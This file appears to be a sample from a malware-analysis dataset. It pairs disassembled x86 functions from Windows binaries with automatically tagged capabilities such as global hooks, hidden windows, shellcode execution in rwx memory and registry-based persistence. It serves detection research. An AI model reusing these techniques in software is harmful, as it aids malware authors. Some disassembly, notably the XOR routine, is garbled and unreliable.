joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4550ec
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x455297
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x455278
mov dl, 1
mov eax, dword [0x41d174]
call fcn.00403b40
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004048c4
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x455267
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00442d10
test al, al
je 0x45525a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4552a8
lea eax, [ebp - 0x254]
call fcn.0041499c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45525a
xor eax, eax
push ebp
push 0x455253
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4552e0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45523c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404b2c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45523c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404b2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45525a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45515d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004212bc
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45529e
lea eax, [ebp - 0x260]
call fcn.004048c4
ret

Function at 0x455bcc
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4afc14]
cmp byte [eax + 0xa5], 0
jne 0x455c3d
cmp dword [0x4afc2c], 0
jne 0x455bfe
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x455b88
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4afc2c], eax
cmp dword [0x4afc28], 0
jne 0x455c19
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4afc28], eax
cmp dword [0x4afc30], 0
jne 0x455c3d
push esp
push 0
push 0
push 0x455b2c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4afc30], eax
pop edx
ret
Function at 0x455d34
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x455d4b
add esp, 0xfffffff0
call fcn.00403ebc
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00426c24
mov eax, dword [0x4ae1d0]
cmp word [eax + 2], 0
jne 0x455d73
mov eax, dword [0x4ae1d0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004571e4
mov eax, dword [0x4ae274]
cmp word [eax + 2], 0
jne 0x455d8d
mov eax, dword [0x4ae274]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004573dc
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41cc84]
call fcn.00403b40
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41cc84]
call fcn.00403b40
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x428d64]
call fcn.0042e970
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x455f14
mov eax, dword [0x4ae0f8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042ed40
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45794c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4ae0f8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0041621c
test eax, eax
je 0x455e82
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004142f8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.00416244
test eax, eax
je 0x455e96
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404b2c
mov eax, dword [0x4adfdc]
cmp byte [eax], 0
jne 0x455eca
mov eax, ebx
call fcn.0045603c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00457b28
mov eax, ebx
call fcn.00458468
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x455f0a
call fcn.00403f14
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4562b0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4afc14]
cmp dword [eax + 0x30], 0
je 0x45635a
cmp dword [ebx + 0x94], 0
jne 0x456354
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x456240
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x456354
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45631a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x456354
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041f324
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x456329
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x456e38
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x456e6d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004049b4
jmp 0x456e7a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404918
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x457d04
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x457d45
mov eax, esi
call fcn.0043e5d4
test al, al
je 0x457d45
mov eax, dword [ebx + 0x84]
call fcn.0043e2d0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x457d45
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043e2d0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x48e560
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov edi, ecx
cmc
loope 0x48e5e2
inc esi
cld
mov eax, dword [ebp - 4]
call fcn.00404d64
xor eax, eax
push ebp
push 0x7e48e644
pop edi
sbb dword [ebx], esi
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov dword [eax], ebx
mov eax, dword [ebp - 4]
call fcn.00404b7c
idiv dword [esi + 0x12]
mov cs, word [ebp - 0x10]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0048e44c
mov edx, dword [ebp - 0x10]
lea edi, [ebx]
invalid
lea eax, [ebp - 4]
call fcn.00404dcc
idiv edi
mov edx, dword [ebp - 0xc]
inc edx
cmp al, 0x38
xor eax, 0x4c880e89
adc bh, bh
inc esi
inc ebx
cmp ebx, 4
jne 0x48e5dc
xor ebx, ebx
lea esi, [ebp - 0x7a]
mov dh, 0xa3
invalid
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43e004]
jne 0x40100a
repz ret
jmp fcn.004011ef

Function at 0x40316b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402117
and dword [ebp - 0x14], 0
cmp dword [0x4408ac], 0
mov dword [ebp - 0x18], eax
jne 0x40321e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4032c6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4032c6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4408ac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4408b0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4408b4], eax
call edi
push eax
call esi
mov dword [0x4408bc], eax
test eax, eax
je 0x40321e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4408b8], eax
mov eax, dword [0x4408b8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403277
cmp dword [0x4408bc], ecx
je 0x403277
push eax
call esi
push dword [0x4408bc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403277
test ebx, ebx
je 0x403277
call edi
test eax, eax
je 0x40326e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40326e
test byte [ebp - 8], 1
jne 0x403277
or dword [ebp + 0x10], 0x200000
jmp 0x4032aa
mov eax, dword [0x4408b0]
cmp eax, dword [ebp - 0x18]
je 0x4032aa
push eax
call esi
test eax, eax
je 0x4032aa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4032aa
mov eax, dword [0x4408b4]
cmp eax, dword [ebp - 0x18]
je 0x4032aa
push eax
call esi
test eax, eax
je 0x4032aa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4408ac]
call esi
test eax, eax
je 0x4032c6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4032c8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x405690
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [0x43e004]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4056c9
mov eax, dword [0x43f934]
mov dword [0x47c694], eax
cmp dword [0x47c30c], 0x3c
jne 0x4056d5
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x4056b7
cmp dword [0x47c30c], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x40575b
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x47c30c], 0x110a
jne 0x4057bc
push ebx
mov dword [0x47c300], ebx
mov dword [0x47c304], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.alezecebesijorabifovihapida
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
add esp, 0x18
call fcn.00405430
xor ecx, ecx
cmp dword [0x47c30c], ebx
jbe 0x4057fb
jmp 0x4057d0
mov eax, dword [0x47c694]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x47c030]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x47c30c]
jb 0x4057d0
push str.msimg32.dll
call esi
mov ecx, dword [0x47c30c]
mov edx, dword [0x47c030]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00405600
call fcn.00405450
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x28]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405858
cmp dword [esp + 0x30], 0xf5bed7
jne 0x405861
inc esi
cmp esi, 0x1ece7a52
jl 0x405835
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x40587d
call fcn.00405420
cmp dword [0x47c30c], 0x3dc
mov dword [0x47c034], 0x8e46a6f0
jne 0x4058b7
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.rixovohucivununiboneb_huzurucurajo_jajonaberewevale_sivakawizematec
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405870
mov ecx, dword [esp + 0x454]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x406500
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430950
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x43f100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.00412c9e
mov edi, eax
add esp, 4
test edi, edi
je 0x4065ab
push 1
mov dword [ebp - 4], 0
call fcn.004118b7
mov dword [edi + 4], eax
add esp, 4
mov dword [esi + 0x30], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407b90
Capabilities:
Delete registry key
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430b25
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x43f100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x440253], 0
je 0x407cfa
push str.restoring_registry_entries__HKCS__1
call fcn.00406ba0
add esp, 4
mov dword [ebp - 0x5c], 0
lea eax, [ebp - 0x5c]
push eax
push 0xf003f
push 0
push str.steamShellOpenCommand
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407c22
push dword [0x43f00c]
push 0x44c258
push 1
push eax
push 0x432d40
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x407cfa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x13]
push eax
call fcn.004027e0
add esp, 8
lea ecx, [ebp - 0x5d]
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00401320
push 0x41
push str.Unable_to_restore_the_original_registry_entry__HKCS__2__error_
push 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.0040a7e0
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 1
push eax
call fcn.00406ba0
mov ecx, dword [ebp - 0x2c]
add esp, 4
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x407cd9
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407ccf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407d39
push ecx
push edx
call fcn.00412cce
add esp, 8
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov dword [ebp - 4], 0xffffffff
call fcn.00404b90
cmp byte [0x440252], 0
jne 0x407d20
push str.removing_registry_entries__HKCS__2__added_by_loader_
call fcn.00406ba0
add esp, 4
push str.steam
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00412f32
mov esp, ebp
pop ebp
ret
call fcn.00417acf
int3
Function at 0x407d40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430b25
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x43f100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x440250], 0
je 0x407ebc
push str.restoring_registry_entries__HKCU_
call fcn.00406ba0
add esp, 4
mov dword [ebp - 0x5c], 0
lea eax, [ebp - 0x5c]
push eax
push 0xf003f
push 0
push str.SoftwareValveSteamActiveProcess
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407def
push dword [section..data]
push 0x440258
push 1
push eax
push str.SteamClientDll
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [0x43f004]
push 0x444258
push 1
push 0
push str.SteamClientDll64
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x407ebc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x13]
push eax
call fcn.004027e0
add esp, 8
lea ecx, [ebp - 0x5d]
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00401320
push 0x3e
push str.Unable_to_restore_the_original_registry_entry__HKCU___error_
push 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.0040a7e0
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 1
push eax
call fcn.00406ba0
mov ecx, dword [ebp - 0x2c]
add esp, 4
cmp ecx, 0xf
jbe 0x407ea2
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407e98
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ed5
push ecx
push edx
call fcn.00412cce
add esp, 8
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.00404b90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00412f32
mov esp, ebp
pop ebp
ret
call fcn.00417acf
int3
Function at 0x407ee0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430b25
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x43f100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x440251], 0
je 0x40804e
push str.restoring_registry_entries__HKLM_
call fcn.00406ba0
add esp, 4
mov dword [ebp - 0x5c], 0
cmp dword [0x450270], 7
lea ecx, [ebp - 0x5c]
mov eax, 0x45025c
cmova eax, dword [0x45025c]
push ecx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407f81
push dword [0x43f008]
push 0x448258
push 1
push eax
push str.InstallPath
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40804e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x13]
push eax
call fcn.004027e0
add esp, 8
lea ecx, [ebp - 0x5d]
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00401320
push 0x3e
push str.Unable_to_restore_the_original_registry_entry__HKLM___error_
push 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.0040a7e0
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 1
push eax
call fcn.00406ba0
mov ecx, dword [ebp - 0x2c]
add esp, 4
cmp ecx, 0xf
jbe 0x408034
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40802a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408067
push ecx
push edx
call fcn.00412cce
add esp, 8
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.00404b90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00412f32
mov esp, ebp
pop ebp
ret
call fcn.00417acf
int3